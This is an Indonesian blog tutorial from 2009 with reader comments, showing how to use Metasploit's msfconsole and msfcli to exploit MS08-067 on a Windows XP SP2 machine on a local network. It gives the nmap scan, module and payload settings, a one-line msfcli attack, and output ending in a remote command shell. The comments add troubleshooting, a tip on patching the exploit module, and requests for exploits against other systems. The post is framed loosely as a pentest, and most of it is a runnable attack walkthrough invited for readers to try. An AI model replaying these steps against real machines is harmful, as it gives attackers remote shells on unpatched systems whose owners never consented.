Posting ini kubuat sebagai salah satu contoh audit security halah.. pentest aja yah bahasanya di network lokal tempatku bekerja. Ndak pake kata-kata hacking lah.. Wong cuman manfaatin tools yang disebar di inet kok disebut hacking :p. Soalnya banyak kale yang test metasploit seperti ini dan dibilang hacking bla-bla-bla. :-p. Go to side corner lamerzz… Post ini juga buat bayar utang ma hardie soal metasploit
Ini coy dah kutepatin janjinya. silahkan coba sendiri ya. cara yang paling mudah sebenarnya bisa menggunakan OS BackTrack, tapi disini saya menggunakan ubuntu yang telah diinstall metasploit. Langkah instalasinya bisa dilihat disini.
Metasploit : msfconsole
Lets go.. pertama kali kita coba dengan testing manual menggunakan metasploit console (msfconsole) yang mana test ini dilakukan pada single mesin windows xp sp2 dengan melakukan percoban exploit ms windows MS08-067 yaitu vulner pada microsoft windows di port 445 beberapa waktu yang lalu yang sempet bikin microsoft kelimpungan
. Dari terminal console ketik perintah berikut, seperti pada gambar dibawah:
$ msfconsole

Untuk perintah-perintah lainnya bisa dipelajari dengan mengetikkan help :
- msf > help
Core Commands ============= Command Description ------- ----------- ? Help menu back Move back from the current context banner Display an awesome metasploit banner cd Change the current working directory connect Communicate with a host exit Exit the console help Help menu info Displays information about one or more module irb Drop into irb scripting mode jobs Displays and manages jobs load Load a framework plugin loadpath Searches for and loads modules from a path quit Exit the console resource Run the commands stored in a file route Route traffic through a session save Saves the active datastores search Searches module names and descriptions sessions Dump session listings and display information about sessions set Sets a variable to a value setg Sets a global variable to a value show Displays modules of a given type, or all modules sleep Do nothing for the specified number of seconds unload Unload a framework plugin unset Unsets one or more variables unsetg Unsets one or more global variables use Selects a module by name version Show the framework and console library version numbers
Untuk melihat list exploits-nya , gunakan perintah :
- msf > show exploits
List seluruh exploit yang ada kira-kira seperti ini (saya paste sebagian saja biar ndak terlalu panjang) :
windows/smb/ms05_039_pnp Microsoft Plug and Play Service Overflow windows/smb/ms06_025_rasmans_reg Microsoft RRAS Service RASMAN Registry Overflow windows/smb/ms06_025_rras Microsoft RRAS Service Overflow windows/smb/ms06_040_netapi Microsoft Server Service NetpwPathCanonicalize Overflow windows/smb/ms06_066_nwapi Microsoft Services MS06-066 nwapi32.dll windows/smb/ms06_066_nwwks Microsoft Services MS06-066 nwwks.dll windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption
Scan mesin target menggunakan nmap. Dalam contoh kasus kali ini kita gunakan kompi dg ip 192.168.1.28 :
- msf > sudo nmap -v -sS -A -O 192.168.1.28
[*] exec: sudo nmap -v -sS -A -O 192.168.1.28 [sudo] password for test:Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-21 23:50 CIT Initiating ARP Ping Scan at 23:50 Scanning 192.168.1.28 [1 port] Host 192.168.1.28 appears to be up ... good. Interesting ports on 192.168.1.28: Not shown: 1712 closed ports PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds MAC Address: 00:1E:8C:67:59:F9 (Asustek Computer) Device type: general purpose Running: Microsoft Windows XP OS details: Microsoft Windows 2000 SP4, or Windows XP SP2 or SP3 Network Distance: 1 hop TCP Sequence Prediction: Difficulty=258 (Good luck!) IP ID Sequence Generation: Incremental Service Info: OS: Windows
Dari hasil scan kita ketahui bahwa kemungkinan OS-nya menggunakan OS Windows XP dengan port 445-nya terbuka. Mari kita coba kompi ini dengan menggunakan exploit windows/smb/ms08_067_netapi.
- msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
Lihat opsi dari exploit ini dengan mengetikkan show options :
- msf exploit(ms08_067_netapi) > show options
Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting
Dari opsi diatas, maka kita perlu set terlebih dahulu RHOST ( komputer target) dengan mengetikkan :
- msf exploit(ms08_067_netapi) > set rhost 192.168.1.28
rhost => 192.168.1.28
Untuk RPORT, kita tidak perlu melakukan setting apa-apa karena vulnerability ini memang mengeksploitasi vulnerability di port 445. Untuk exploit target diisi dengan OS komputer target. Dalam langkah ini kita menggunakan angka 0 yang berarti automatic target. Untuk melihat OS target apa saja, ketik :
- msf exploit(ms08_067_netapi) > show targets
Exploit targets: Id Name -- ---- 0 Automatic Targeting 1 Windows 2000 Universal 2 Windows XP SP0/SP1 Universal 3 Windows XP SP2 English (NX) 4 Windows XP SP3 English (NX) -------- cut -----------
Sekarang kita tentukan jenis payload yang ingin dipakai. Dalam langkah ini saya ingin menggunakan tcp_bind shell (akses command prompt di kompi target) :
- msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp
payloads => windows/shell_bind_tcp
Untuk melihat payload apa saja dalam metasploit, gunakan perintah :
- msf exploit(ms08_067_netapi) > show payloads
Compatible payloads =================== Name Description ---- ----------- generic/debug_trap Generic x86 Debug Trap generic/debug_trap/bind_ipv6_tcp Generic x86 Debug Trap, Bind TCP Stager (IPv6) generic/debug_trap/bind_nonx_tcp Generic x86 Debug Trap, Bind TCP Stager (No NX Support) generic/debug_trap/bind_tcp Generic x86 Debug Trap, Bind TCP Stager ----------- dipotong sampai disini ---------------
Nahh.. setting sudah selesai dilakukan. Untuk melihat hasil konfigurasinya bisa dicek kembali dengan menggunakan show options :
- msf exploit(ms08_067_netapi) > show options
Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.1.28 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Payload options (windows/shell_bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC thread yes Exit technique: seh, thread, process LPORT 4444 yes The local port RHOST 192.168.1.28 no The target address Exploit target: Id Name -- ---- 0 Automatic Targeting
sekarang jalankan exploit :
- msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Command shell session 1 opened (192.168.1.6:33270 -> 192.168.1.28:4444)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.1.28
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.254
C:\WINDOWS\system32>
Dan ternyata emang masih bolong… :p
Metasploit : msfcli
Dari langkah-langkah diatas… sebenarnya bisa dilakukan exploitasi dengan menggunakan satu perintah dari console, dan diakomodir dengan menggunakan msfcli yang notabene sebenarnya adalah metasploit command line interface.
Untuk melihat manual perintahnya bisa dilihat dari help maupun manpage-nya wiki-nya metasploit.
- sinchan@hydra:~$ msfcli –help
[*] Please wait while we load the module tree...
Error: Invalid module: --help
Usage: /usr/local/bin/msfcli [mode]
=================================================================
Mode Description
---- -----------
(H)elp You're looking at it baby!
(S)ummary Show information about this module
(O)ptions Show available options for this module
(A)dvanced Show available advanced options for this module
(I)DS Evasion Show available ids evasion options for this module
(P)ayloads Show available payloads for this module
(T)argets Show available targets for this exploit module
(AC)tions Show available actions for this auxiliary module
(C)heck Run the check routine of the selected module
(E)xecute Execute the selected module
So.. mari kita coba. Contoh kasusnya sama seperti artikel msfconsole biar ndak capek nulisnya yaitu:
IP Addr Target : 192.168.1.28 Port target : 445 Exploit : windows/smb/ms08_067_netapi Payload : windows/shell_bind_tcp Exploit target : 0
Dan implementasinya menjadi seperti ini :
- sinchan@hydra:~$ msfcli exploit/windows/smb/ms08_067_netapi RHOST=192.168.1.28 TARGET=0 PAYLOAD=generic/shell_bind_tcp E
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Command shell session 1 opened (192.168.1.6:36804 -> 192.168.1.28:4444)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.1.28
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.254
C:\WINDOWS\system32>
Implementasi yang sama juga bisa dilakukan pada metasploit GUI (msfgui) dan metasploit berbasis web (msfweb). Silahkan dicoba sendiri karena saya malas upload gambarnya :-p. Dari teknik dasar ini silahkan dikembangkan dengan teknik-teknik yang lain.
Artikel ini sebenarnya pengen saya lanjutkan dengan db_auotpwn, tapi ternyata capek juga nulis segini panjang. Yah terpaksa bikin berseri : Metasploit II : Mass exploitation. Nyusul yah….
Use this article and this information wisely…
Sumber :
- http://trac.metasploit.com/
- https://wiki.remote-exploit.org/backtrack/wiki
One Ping to “Metasploit I : Teknik Dasar”
17 Responses to “Metasploit I : Teknik Dasar”
-
1. hardie heboh
Says:
March 22nd, 2009 at 2:33 AMWeeits, audit security. mantappppsss, tapi kayak nya susah
-
2. Mas Rony
Says:
March 22nd, 2009 at 2:47 AMHahaha… susah = 3D.. Dilihat.. Diraba.. Diterawang.. :p
-
3. teeboo
Says:
April 29th, 2009 at 5:33 PMmas…salam kenal…hehe…
saya udah coba tuh mas di ubuntu yang dah diinstal metasploit….
tapi mas..
tiap saya coba gagal terus…
nih …
[*] Started bind handler
[-] Exploit failed: The connection timed out (172.17.10.46:445).
[*] Exploit completed, but no session was created.itu kenapa ya mas yah??
di ubuntu saya pasang firestarter dan udah stop…mohon pencerahannya mas…
makasih..:D -
4. Mas Rony
Says:
April 30th, 2009 at 6:59 PMSalam kenal juga mas teeboo
[-] Exploit failed: The connection timed out (172.17.10.46:445).
Dari message ini sepertinya udah cukup jelas mas teeboo yaitu request ke port 445 di ip tersebut time out. Kalo koneksi ndak ada masalah, apa di kompi tersebut or router yang anda lewati ada firewallnya?
Kemungkinan didrop oleh firewall juga ada soalnya mas, apalagi kalo sampe mbanjiri dengan paket yang “aneh-aneh”
-
5. Zchellpy
Says:
June 22nd, 2009 at 3:53 AMMas …. salam kenal
aku ady dari makassar…
aku newbie dan baru banget kenal Metasploit…
saya salut sama tutorial mas karna saya dapat tutorl juga di google tapi nga bisa attack sp2 cuman bisa SP0 aja… hehehe..
tapi aku ada sedikit problem mas tolong dibantu ya…msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP Service Pack 2 – lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability…
[*] Exploit completed, but no session was created.Mas kalo kondisinya kayak diatas itu artinya apa… kan udah sukses exploit korbannya tapi nga bisa create session… ????
Mohon penjelasannnya…. -
6. Mas Rony
Says:
June 24th, 2009 at 9:12 PMYoi salam kenal juga. Saya di makasar juga kok (kemarin-kemarin sih)

Kalo kondisi pasti, saya sendiri nggak bisa nentuin kali ya
Kalo mengenai kasus tersebut (vulner MS08_067) kemungkinan kompi tersebut sudah dipatch atau ada software yang bisa mendeteksi ‘keberadaan’ vulner tsb (bisa firewall bisa anti virus). Jadi untuk melakukan testing yg lebih baik, tidak hanya berasumsi ke satu arah. Bisa juga digunakan kombinasi-kombinasi yang lain. Artikel yang saya buat ini sebenarnya hanya contoh kasus saja. Akan lebih baik lagi kalo mas adi lebih memperhatikan sisi konsepnya. Silahkan kembangkan imajinasi mas adi dengan melakukan kombinasi-kombinasi yang lain. Mungkin di artikel yang kedua bisa digunakan utk menambah referensi. Kurang lebihnnya kira-kira seperti itu mas adi.
Oh iya.. jangan lupa untuk update metasploitnya ya… supaya “isinya” juga up to date
-
7. Zchellpy
Says:
June 26th, 2009 at 2:08 AMMakasih mas atas repeknya… saya juga sudah mencoba Teknik II metasploit dari tutor mas tapi hasilnya masih sama “Cannot create session” mungkin saya butuh sedikit pencerahan mas tentang vulner apa saja yang terdapat khususnya di SP2 atau adakah cara untuk mencari tahu vulner pc seseorang trus apa bedanya metasploit sama milw0rm.com….
Sekali lagi makasih atas jawabannya untuk kedua kalinya…
Maaf ya mas kalau terlalu banyak nanya… he he he -
8. CodeSanro
Says:
July 22nd, 2009 at 2:48 PMada sample buat exploit vista gak? dah keliling2 dunia nih gak dpet2…
-
9. Rony
Says:
July 23rd, 2009 at 4:56 PM@Zcellpy donot follow the tutor. kalo sekarang pastinya udah basi kali yah.. tutor ini hanya contoh kasus saja. Untuk implementasinya emang menuntut kreativitas kita karena bugs and exploit equivalen dengan patch yang datang silih berganti..
milw0rm.com situs penyedia informasi keamanan… sedang metasploit kan tools bos..
@CodeSanro : kalau ndak salah pernah ada soal vista negotiate stop yang mendisable smb secara remote. Tapi kayaknya udah lama banget, and pastinya juga sudah dipatch. Maaf saya ndak pernah maenan vista, maklum kompi saya kompi jaman jebot semua dan nda mampu beli vista
-
10. Neo
Says:
July 28th, 2009 at 2:21 AMlam kenal mas..
istilahnya saya baru meraba2 yang namanya exploits! yang saya ingin tanyakan kalo mencari celah pada OS openBSD gimana yach???thanx
-
11. viCTim eXpLoiT's
Says:
August 12th, 2009 at 4:26 AMExploit complete, but no session was created.
Very simple…u’r search keyword “sratch” and replace with “scratch”.
Open code “ms08_67_netapi” with notepad and changed.
Or update u’r metasploit !!! -
12. devyptrc
Says:
August 29th, 2009 at 2:34 AM[*] Please wait while we load the module tree…
[*] Started bind handler
[-] Exploit failed: The connection was refused by the remote host
ko keluar gini yah, trus gmn? -
13. gueh
Says:
December 7th, 2009 at 7:39 PMdah dicoba mas, tapi pas
msf > sudo nmap -v -sS -A -O 192.168.1.28
gak bisa ” unknow command sudo
gimana tuh -
14. Rony
Says:
December 10th, 2009 at 5:23 PMsori lama ga update…
neo : dah cek web-nya openbsd bro ??
victim_exploitz : nice trick.. sekarang sudah msf34-dev
devyptrc : brati udah ke-patch, artikel ini hanya trigger saja, sekedar contoh, silahkan googling situs-situs security *disclosure*
gueh : pake ubuntu juga? coba dari awalnya menggunakan akses root :
sudo ./msfconsole
ntar pas nmap ga perlu sudo lagi. Btw saya pake akses sudoer karena untuk nmap stealth scan (-sS) harus menggunakan akses root. Alasannya karena itu aja. Silahkan kombinasikan dengan input var yang lain kalau memang tidak ingin menggunakan stealth scan. see nmap manual page..
tetep semangat ya allz… -
15. Sandy
Says:
December 14th, 2009 at 11:00 PMMas saya coba langkah2 diatas tpi hasilnya malah nihil
hasilnya kayak gini:
[*] Started bind handler
[*] Automatically detecting the target…
[*] Fingerprint: Windows XP Service Pack 2 – lang:English
[*] Selected Target: Windows XP SP2 English (NX) [*] Triggering the vulnerability…
[*] Exploit completed, but no session was created.kenapa ya mas??mohon pencerahanya klo bisa kirim email ya
makasih.
-
16. Rony
Says:
December 18th, 2009 at 6:46 PMsandy : coba liat post comment 6
-
17. Ask
Says:
January 16th, 2010 at 1:27 PMTerimah Kasih Banyak Petunjuknya….
Saya sudah mengerti dan beberapa serangan saya berhasil..
ya..bner dengan ap yg mas sandy katakan..btuh kreasi kita masing-masing dalam mencari Vulner itu…sekali lagi saya ucapkan terimahkasih..



April 5th, 2009 at 6:12 PM
[...] ini merupakan lanjutan dari artikel sebelumnya yaitu Metasploit I : Teknik Dasar. Dalam artikel yang kedua ini saya ingin membahas mengenai penggunaan metasploit untuk mass [...]